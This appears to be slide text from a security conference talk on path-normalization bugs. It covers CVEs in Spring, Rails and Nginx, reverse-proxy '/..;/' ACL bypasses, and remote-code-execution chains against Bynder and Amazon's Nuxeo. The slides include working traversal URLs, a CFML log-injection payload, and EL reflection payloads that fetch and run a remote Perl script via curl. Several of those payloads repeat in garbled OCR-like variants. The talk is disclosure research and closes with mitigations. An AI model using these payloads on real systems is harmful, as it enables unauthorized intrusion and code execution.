Breaking Parser Logic!

Take Your Path Normalization Off and Pop 0days Out

Orange Tsai
Orange Tsai

- Security researcher at DEVCORE
- HITCON - Hacks in Taiwan

@orange_8361
Agenda

1. The blind side of path normalization
2. In-depth review of existing implementations
3. New multi-layered architecture attack surface
Normalize

To make standard; determine the value by comparison to an item of known standard value
Why normalization?

To protect something
Inconsistency

```java
if (check(data)) {
    use(data)
}
```
new URL("file:///etc/passwd?/../../Windows/win.ini")

Windows treat as UNC

Linux treat as URL
Polyglot URL path

• Rely on `getPath()` under Windows

```javascript
URL base = new URL("file:///C:/Windows/temp/");
URL url = new URL(base, "file?/../../win.ini");
```

• Rely on normalization of `getFile()` or `toExternalForm()` under Linux

```javascript
URL base = new URL("file:///tmp/");
URL url = new URL(base, "../etc/passwd?/../../tmp/file");
```
Why path normalization

- Most website handle files (and apply lots of security mechanism)
- Lack of overall security review
  - Code change too fast, does the patch and protection still work?
A 5 years Mojarra story

From JavaServer Faces CVE-2013-3827 to CVE-2018-14371
How parsers could be failed?
Can you spot the vulnerability?

```java
static String QUOTED_FILE_SEPARATOR = Pattern.quote(File.separator)
static String DIRECTIVE_FILE_SEPARATOR = '/'

public AssetFile getAsset(String relativePath) {
    if(!relativePath)
        return null
    relativePath = relativePath.replace(QUOTED_FILE_SEPARATOR, DIRECTIVE_FILE_SEPARATOR)
```
replace v.s. replaceAll

String replace(String target, String replacement)
String replaceAll(String regex, String replacement)
Can you spot the vulnerability?

```java
static String QUOTED_FILE_SEPARATOR = Pattern.quote(File.separator)

Pattern.quote("/") = "\Q/\E"
```

```
relativePath = relativePath.replace( QUOTED_FILE_SEPARATOR,
DIRECTIVE_FILE_SEPARATOR)
```
Q/A/E is the new .. in Grails
FAILS

FAILS EVERYWHERE
/app/static/ v.s. /app/static

How single slash could be failed?
Nginx off-by-slash fail

- First shown in the end of 2016 HCTF - credit to @iaklis
  - A good attack vector but very few people know
  - Nginx says this is not their problem

- Nginx **alias** directive
  - Defines a replacement for the specified location
http://127.0.0.1/static/../settings.py

location /static {
    alias /home/app/static/;
}

Nginx matches the rule and appends the remainder to destination
/home/app/static/../../../settings.py
How to find this problem?

- Discovered in a private bug bounty program and got the maximum bounty

<table>
<thead>
<tr>
<th>Code</th>
<th>URL</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>200</td>
<td><a href="http://target/assets/app.js">http://target/assets/app.js</a></td>
<td></td>
</tr>
<tr>
<td>403</td>
<td><a href="http://target/assets/">http://target/assets/</a></td>
<td></td>
</tr>
<tr>
<td>404</td>
<td><a href="http://target/assets/../../settings.py">http://target/assets/../../settings.py</a></td>
<td></td>
</tr>
<tr>
<td>403</td>
<td><a href="http://target/assets../">http://target/assets../</a></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td><a href="http://target/assets/../static/app.js">http://target/assets/../static/app.js</a></td>
<td></td>
</tr>
<tr>
<td>200</td>
<td><a href="http://target/assets/../settings.py">http://target/assets/../settings.py</a></td>
<td></td>
</tr>
</tbody>
</table>
# authentication system.

AUTHENTICATION_BACKENDS = [
    # Uncomment the following line for enabling LDAP authentication
    'pootle.core.auth.ldap_backend.LdapBackend',
    'django.contrib.auth.backends.ModelBackend',
]

# The LDAP server. Format: protocol://hostname:port
AUTH_LDAP_SERVER = 'ldaps://emea.ldap.corp.

# Anonymous Credentials: if you don't have a super user, don't put cn=...
AUTH_LDAP_ANON_DN = 'CN=*,OU=Service Accounts,DC=*

# Base DN to search
AUTH_LDAP_BASE_DN = 'OU=*,DC=corp,DC=*

# What are we filtering on? %s will be the username (must be in the string)
# In this case, we filter on mails, which are the uid.
AUTH_LDAP_FILTER = 'sAMAccountName=%s'
# 0days I found

<table>
<thead>
<tr>
<th>Project</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spring Framework</td>
<td>CVE-2018-1271</td>
</tr>
<tr>
<td>Spark Framework</td>
<td>CVE-2018-9159</td>
</tr>
<tr>
<td>Jenkins</td>
<td>CVE-2018-1999002</td>
</tr>
<tr>
<td>Mojarra</td>
<td>CVE-2018-14371</td>
</tr>
<tr>
<td>Ruby on Rails</td>
<td>CVE-2018-3760</td>
</tr>
<tr>
<td>Sinatra</td>
<td>CVE-2018-7212</td>
</tr>
<tr>
<td>Next.js</td>
<td>CVE-2018-6184</td>
</tr>
<tr>
<td>resolve-path</td>
<td>CVE-2018-3732</td>
</tr>
<tr>
<td>Aiohttp</td>
<td>None</td>
</tr>
<tr>
<td>Lighttpd</td>
<td>Pending</td>
</tr>
</tbody>
</table>
Agenda

1. The blind side of path normalization

2. In-depth review of existing implementations
   • Discovered Spring Framework CVE-2018-1271
   • Discovered Ruby on Rails CVE-2018-3760

3. New multi-layered architectures attack surface
Spring 0day - CVE-2018-1271

• Directory Traversal with Spring MVC on Windows
• Patches of CVE-2014-3625
  1. `isInvalidPath(path)`
  2. `isInvalidPath(URLDecoder.decode(path, "UTF-8"))`
  3. `isResourceUnderLocation(resource, location)`
protected boolean isInvalidPath(String path) {
    if (path.contains("WEB-INF") || path.contains("META-INF")) {
        return true;
    }
    if (path.contains(":/")) {
        return true;
    }
    if (path.contains("../")) {
        path = cleanPath(path);
        if (path.contains("../"))
            return true;
    }
    return false;
}
public static String cleanPath(String path) {
    String pathToUse = replace(path, "\\", "/");

    String[] pathArray = delimitedListToStringArray(pathToUse, "/");
    List<String> pathElements = new LinkedList<>();
    int tops = 0;

    for (int i = pathArray.length - 1; i >= 0; i--) {
        String element = pathArray[i];
        if (".".equals(element)) {
        } else if ("..".equals(element)) {
            tops++;
        } else {
            if (tops > 0)
                tops--;
            else
                pathElements.add(0, element);
        }
    }

    for (int i = 0; i < tops; i++) {
        pathElements.add(0, "..");
    }
    return collectionToDelimitedString(pathElements, "/");
}
public static String cleanPath(String path) {
    String pathToUse = replace(path, "\\", "/");

    String[] pathArray = delimitedListToStringArray(pathToUse, "/");
    List<String> pathElements = new LinkedList<>();
    int tops = 0;

    for (int i = pathArray.length - 1; i >= 0; i--) {
        String element = pathArray[i];
        if (".".equals(element)) {
        } else if ("..".equals(element)) {
            tops++;
        } else {
            if (tops > 0)
                tops--;
            else
                pathElements.add(0, element);
        }
    }

    for (int i = 0; i < tops; i++) {
        pathElements.add(0, "..");
    }

    return collectionToDelimitedString(pathElements, "/");
}
## Spring 0day - CVE-2018-1271

<table>
<thead>
<tr>
<th>Input</th>
<th>cleanPath</th>
<th>Filesystem</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/foo/../</code></td>
<td><code>/</code></td>
<td><code>/</code></td>
</tr>
<tr>
<td><code>/foo/.../</code></td>
<td><code>../</code></td>
<td><code>../</code></td>
</tr>
<tr>
<td><code>/foo/././</code></td>
<td><code>/foo/</code></td>
<td><code>/</code></td>
</tr>
<tr>
<td><code>/foo/../../../</code></td>
<td><code>/foo/</code></td>
<td><code>../</code></td>
</tr>
<tr>
<td><code>/foo/../../../../</code></td>
<td><code>/foo/</code></td>
<td><code>../</code></td>
</tr>
<tr>
<td><code>/foo/../../../.../</code></td>
<td><code>/foo/</code></td>
<td><code>../</code></td>
</tr>
</tbody>
</table>

The table above demonstrates how Path Normalization is handled in Spring 0day for various inputs. The `cleanPath` column shows the normalized path, and the `Filesystem` column represents the expected behavior on a filesystem.
Spring 0day - CVE-2018-1271

• How to exploit?

$ git clone git@github.com:spring-projects/spring-amqp-samples.git
$ cd spring-amqp-samples/stocks
$ mvn jetty:run

http://0:8080/spring-rabbit-stock/static/%255c%255c%255c%255c%255c%255c...%255c/Windows/win.ini
Spring 0day - CVE-2018-1271

• How to exploit?

  $ git clone git@github.com:spring-projects/spring-amqp-samples.git
  $ cd spring-amqp-samples/stocks
  $ mvn jetty:run

  http://0:8080/spring-rabbit-stock/\%255c\%255c\%255c\%255c\%255c\%255c\%255c/Windows/win.ini
Do not use Windows

Mitigation from Spring
Bonus on Spark framework

• Code infectivity? Spark framework CVE-2018-9159

• A micro framework for web application in Kotlin and Java 8

commit 27018872d83fe425c89b417b09e7f7fd2d2a9c8c
Author: Per Wendel <per.i.wendel@gmail.com>
Date:   Sun May 18 12:04:11 2014 +0200

+    public static String cleanPath(String path) {
+        if (path == null) {
+            ...

Rails 0day - CVE-2018-3760

- Path traversal on @rails/sprockets
- Sprockets is the built-in asset pipeline system in Rails
- Affected Rails under development environment
  - Or production mode with flag `assets.compile` on
Vulnerable enough!

$ rails new blog && cd blog
$ rails server
Listening on tcp://0.0.0.0:3000
Rails 0day - CVE-2018-3760

1. Sprockets supports `file://` scheme that bypassed `absolute_path`?

2. URL decode bypassed double slashes normalization

3. Method `split_file_uri` resolved URI and `unescape` again
   - Lead to double encoding and bypass `forbidden_request` and prefix check

http://127.0.0.1:3000/assets/file:%2f%2f/app/assets/images/%252e%252e/%252e%252e/%252e%252e/etc/passwd
For the RCE lover

• This vulnerability is possible to RCE
• Inject query string `%3F` to File URL
• Render as ERB template if the extension is `.erb`

http://127.0.0.1:3000/assets/file:%2f%2f/app/assets/images/%252e%252e%252e%252e/tmp/evil.erb%3ftype=text/plain
Agenda

1. The blind side of path normalization
2. In-depth review of existing implementations
3. New multi-layered architecture attack surface
   - Remote Code Execution on Bynder
   - Remote Code Execution on Amazon

P.S. Thanks Amazon and Bynder for the quick response time and open-minded vulnerability disclosure
URL path parameter

http://example.com/foo;name=orange/bar/

• Some researchers already mentioned this might lead issues but it still depends on programming fails
• How to make this feature more severely?
Reverse proxy architecture

- Resource sharing
- Load balance
- Cache
- Security
Clients access static files via NGINX, which serves images, scripts, and files. NGINX acts as a reverse proxy, directing requests to Tomcat or Apache for further processing.
When reverse proxy meets...

http://example.com/foo;name=orange/bar/

<table>
<thead>
<tr>
<th>Server</th>
<th>Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>/foo;name=orange/bar/</td>
</tr>
<tr>
<td>Nginx</td>
<td>/foo;name=orange/bar/</td>
</tr>
<tr>
<td>IIS</td>
<td>/foo;name=orange/bar/</td>
</tr>
<tr>
<td>Tomcat</td>
<td>/foo/bar/</td>
</tr>
<tr>
<td>Jetty</td>
<td>/foo/bar/</td>
</tr>
<tr>
<td>WildFly</td>
<td>/foo</td>
</tr>
<tr>
<td>WebLogic</td>
<td>/foo</td>
</tr>
</tbody>
</table>
BadProxy.org

Not really! Just a joke
How danger it could be?

- Bypass whitelist and blacklist ACL
- Escape from context mapping
  - Web container console and management interface
  - Other servlet contexts on the same server
Am I affected by this vuln?

• This is architecture’s problem and **vulnerable by default** if you are using reverse proxy with Java as backend service
  • Apache mod_jk
  • Apache mod_proxy
  • Nginx ProxyPass
  • ...
/..;/ seems to be a directory. Take it!

http://example.com/portal/..;/manager/html

OK! /..;/ is the parent directory
seems to be a directory, take it!

http://example.com/portal/..;/manager/html

OK! /..;/ is the parent directory
Uber bounty case

- Uber disallow direct access *.uberinternal.com
  - Redirect to OneLogin SSO by Nginx
  - But we found a whitelist API (for monitor purpose?)

https://jira.uberinternal.com/status
//..;/ seems to be a directory with the /status whitelist. Pass to you!

Oh shit! //..;/ is the parent directory
Login or Register with your existing Uber OneLogin email address and password

Email or LDAP Username (e.g. name@ext.uber.com, name@uber.com or name)

LDAP (OneLogin) Password

Login or Register
Bynder RCE case study

• Remote Code Execution on login.getbynder.com
  • Out of bounty program scope in my original target
  • But there is a bounty program in the service provider (Bynder)
  • Abusing inconsistency between web architectures to RCE
Inconsistency to ACL bypass

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 26 May 2018 06:23:35 GMT
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=C4E5824F9EAE4296BCDE23C...
Inconsistency to ACL bypass

HTTP Status 404 - /index.cfm/..;/x

- type: Status report
- message: /index.cfm/..;/x
- description: The requested resource is not available.

Apache Tomcat/7.0.68 (Ubuntu)
Inconsistency to ACL bypass

https://login.getbynder.com/..;/x

<table>
<thead>
<tr>
<th>URL</th>
<th>Nginx action</th>
</tr>
</thead>
<tbody>
<tr>
<td>/</td>
<td>Rewrite to <a href="http://tomcat/index.cfm/">http://tomcat/index.cfm/</a></td>
</tr>
<tr>
<td>/foo</td>
<td>Rewrite to <a href="http://tomcat/index.cfm/foo">http://tomcat/index.cfm/foo</a></td>
</tr>
<tr>
<td>../</td>
<td>400 Error(by Nginx)</td>
</tr>
<tr>
<td>../;/</td>
<td>Rewrite to <a href="http://tomcat/index.cfm/..;/">http://tomcat/index.cfm/..;/</a></td>
</tr>
<tr>
<td>../;/x</td>
<td>Rewrite to <a href="http://tomcat/index.cfm/..;//x">http://tomcat/index.cfm/..;//x</a></td>
</tr>
</tbody>
</table>
/..;/ seems to be a directory,
Take it

Oh shit! /..;/ is
the parent directory

https://login.getbynder.com/..;/railo-context/admin/web.cfm
Misconfiguration to auth bypass
Misconfiguration to auth bypass

- Automatic scaling up but seems to forget the password file
  - About **16%** chance to meet the misconfigured server (3~4 in 25)
  - To make things worse, there is the CAPTCHA in login process
  - We must be lucky to poke the same server on both CAPTCHA and login process
Misconfiguration to auth bypass
Log injection to RCE

• How to pop a shell from Railo admin console?
  • Railo supports customized template file and renders the file as CFML
  • Changing the 404 template file to

/railo-context/../../../logs/exception.log
Log injection to RCE

Injecting malicious payload to `exception.log`

```
https://login.getbynder.com/..;/railo-context/<cfoutput>
<cfexecute name='/(bin/bash' arguments='''Form.shell'''
timeout='10' variable='output'>
</cfexecute>#output#</cfoutput>.cfm
```
Log injection to RCE

```bash
$ curl https://login.getbynder.com/..;/railo-context/foo.cfm
   -d 'SHELL=-c "curl orange.tw/bc.pl | perl -"'
```
Amazon RCE case study

- Remote Code Execution on Amazon Collaborate System
- Found the site collaborate-corp.amazon.com
  - Running an open source project Nuxeo
  - Chained several bugs and features to RCE
Path normalization bug leads to ACL bypass

How does ACL fetch current request page?

```java
protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';' + ');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}
```
Path normalization bug leads to ACL bypass

The path processing in ACL control is inconsistent with servlet container so that we can bypass the whitelist

<table>
<thead>
<tr>
<th>URL</th>
<th>ACL</th>
<th>Container</th>
</tr>
</thead>
<tbody>
<tr>
<td>/login;foo</td>
<td>/login</td>
<td>/login</td>
</tr>
<tr>
<td>/login;foo/bar;quz</td>
<td>/login</td>
<td>/login/bar</td>
</tr>
<tr>
<td>/login;/..;/admin</td>
<td>/login</td>
<td>/login/..;/admin</td>
</tr>
</tbody>
</table>
Code reuse bug leads to Expression Language injection

• Most pages return `NullPointerException`:(
• Nuxeo maps `*.xhtml` to Seam Framework
• We found Seam exposed numerous `Hacker-Friendly` features by reading source code
Seam Feature

http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml:utils.escape(...)

If there is a **foo.xhtml** under servlet context you can execute the partial EL with certain format by **actionMethod**

```
"#{util.escape(...)}"
```
To make thing worse, Seam will evaluate again if the returned string looks like an EL

```
http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml:
  utils.escape(...)
```

```
"#{util.escape(...)"
```

```
return
  #{malicious}
```

```
#evaluate
```
To make things worse, Seam will evaluate again if the returned string looks like an EL:

```
http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml
```

```
utils.escape(...)
```

```
"#{util.escape(...)}"
```

```
foo.xhtml
```

```
Double Evaluation
```

```
AHHHH!!!
```
Code reuse bug leads to Expression Language injection

We can execute partial EL in any file under servlet context but need to find a good gadget to control the return value

```xml
<nxu:set var="directoryNameForPopup"
value="#{request.getParameter('directoryNameForPopup')}"
cache="true"/>
```
EL blacklist bypassed leads to Remote Code Execution

Blacklist is always a bad idea :(

```
org/jboss/seam/blacklist.properties

getClass(
class.
addRole(
getPassword(
removeRole(

"".getClass().forName("java.lang.Runtime")

""["class"].forName("java.lang.Runtime")
```
Chain all together

1. Path normalization bug leads to ACL bypass
2. Bypass whitelist to access unauthorized Seam servlet
3. Use Seam feature `actionMethod` to invoke gadgets in a known file
4. Prepare second stage payload in `directoryNameForPopup`
5. Use array-like operators to bypass the EL blacklist
6. Write the shellcode with Java reflection API and wait for our shell back
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')

&directoryNameForPopup=

/??#{
  request.setAttribute('methods',
    ['class'].forName('java.lang.Runtime').getDeclaredMethods()
  )
  ---
  request.getAttribute('methods')[15].invoke(  
    request.getAttribute('methods')[7].invoke(null),
    'curl orange.tw/bc.pl | perl -'
  )
}

https://host/nuxeo/login.jsp;/../;create_file.xhtml
https://host/nuxeo/login.jsp;/../;/create_file.xhtml

?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')

&directoryNameForPopup=

/?=#{
    request.setAttribute('methods',
        '['class'].forName('java.lang.Runtime').getDeclaredMethods()
    )
    ---
    request.getAttribute('methods')[15].invoke(
        request.getAttribute('methods')[7].invoke(null),
        'curl orange.tw/bc.pl | perl -'
    )
}
https://host/nuxeo/login.jsp;/...;/create_file.xhtml

?actionMethod=

widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')

&directoryNameForPopup=

/??=#{
    request.setAttribute('methods',
        ['',['class'].forName('java.lang.Runtime').getDeclaredMethods()]
    )
    ---
    request.getAttribute('methods')[15].invoke(  
        request.getAttribute('methods')[7].invoke(null),
        'curl orange.tw/bc.pl | perl -'
    )
}
https://host/nuxeo/login.jsp;/../;create_file.xhtml

?actionMethod=

widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')

&directoryNameForPopup=

/?=#{
    request.setAttribute('methods',
        '[[class]].forName('java.lang.Runtime').getDeclaredMethods()'
    )
    ---
    request.getAttribute('methods')[15].invoke(  
        request.getAttribute('methods')[7].invoke(null),  
        'curl orange.tw/bc.pl | perl -'
    )
}
https://host/nuxeo/login.jsp;/../;/create_file.xhtml

?actionMethod=

widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')

&directoryNameForPopup=

/?=#{
  request.setAttribute('methods', 
  '[[class]].forName('java.lang.Runtime').getDeclaredMethods()
  )

  request.getAttribute('methods')[15].invoke( 
  request.getAttribute('methods')[7].invoke(null), 
  'curl orange.tw/bc.pl | perl -'
  )
}
https://host/nuxeo/login.jsp;/../;/create_file.xhtml

?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')

&directoryNameForPopup=

/?=#{
    request.setAttribute('methods',
        '[[class].forName(\'java.lang.Runtime\').getDeclaredMethods()')
    ---
    request.getAttribute('methods')[15].invoke(        request.getAttribute('methods')[7].invoke(null),
        'curl orange.tw/bc.pl | perl -'
    )
}
https://host/nuxeo/login.jsp;/../create_file.xhtml

?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml: request.getParameter('directoryNameForPopup')

&directoryNameForPopup=

/?.#{
    request.setAttribute(  
        'methods',  
        '[[class]].forName('java.lang.Runtime').getDeclaredMethods()
    )
    ---
    request.getAttribute('methods')[15].invoke(  
        request.getAttribute('methods')[7].invoke(null),  
        'curl orange.tw/bc.pl | perl -'
    )
}
https://host/nuxeo/login.jsp;/../create_file.xhtml

?actionMethod=

widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')

https://host/nuxeo/login.jsp;/../create_file.xhtml
&directoryNameForPopup=

request.setAttribute('methods', ''['class'].forName('java.lang.Runtime').getDeclaredMethods())

---

request.getAttribute('methods')[15].invoke(request.getAttribute('methods')[7].invoke(null), 'curl orange.tw/bc.pl | perl -')
Mitigation

• Isolate backend application
  • Remove the management console and other servlet contexts
• Check behaviors between proxy and backend servers
  • I wrote a path (just a PoC) to disable URL path parameter on both
    Tomcat and Jetty
Summary

1. Inconsistency and implicit property on path parsers
2. New attack surface on multi-layered architectures
3. Case studies in new CVEs and bug bounty programs
Reference

• Java Servlets and URI Parameters
  By @cdivilly

• 2 path traversal defects in Oracle’s JSF2 implementation
  By Synopsys Editorial Team

• Nginx configuration static analyzer
  • By @yandex
Thanks!

orange_8361

orange@chroot.org